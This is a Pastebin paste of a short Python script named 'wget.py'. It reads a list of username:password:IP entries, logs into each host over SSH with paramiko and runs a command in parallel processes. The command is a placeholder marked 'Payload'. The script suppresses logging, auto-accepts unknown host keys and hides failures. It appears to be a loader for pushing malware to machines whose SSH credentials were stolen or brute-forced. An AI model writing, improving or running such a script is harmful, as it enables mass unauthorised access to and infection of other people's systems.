Advertisement
LilithsKitty

wget.py

Mar 12th, 2018
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. !/usr/bin/python
  2.  
  3. import sys, re, os, paramiko
  4.  
  5. from multiprocessing import Process
  6.  
  7. if len(sys.argv) < 2:
  8.  
  9. sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  10.  
  11. paramiko.util.log_to_file("/dev/null")
  12.  
  13. cmd="Payload" #command to send
  14. r34d = open(str(sys.argv[1]),'a+')
  15. print "\033[31mStarting Scan!\n"
  16. def w0rk(username,password,ip):
  17. try:
  18.  
  19. port = 22
  20. ssh = paramiko.SSHClient()
  21.  
  22. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  23.  
  24. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  25.  
  26. print "\033[32m[\033[31m+\033[32m] Command Sent: "+ip+"\033[37m\n"
  27.  
  28. ssh.exec_command(""+cmd+"")
  29.  
  30. ssh.close()
  31.  
  32. except:
  33.  
  34. pass
  35.  
  36. for line in r34d:
  37.  
  38. ip_1nfo = line.split(":")
  39.  
  40. g0d = Process(target=w0rk, args=(ip_1nfo[0],ip_1nfo[1],ip_1nfo[2],))
  41.  
  42. g0d.start()
  43.  
  44. username=ip_1nfo[0]
  45.  
  46. password=ip_1nfo[1]
  47.  
  48. ip=ip_1nfo[2]
  49.  
  50. g0d.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement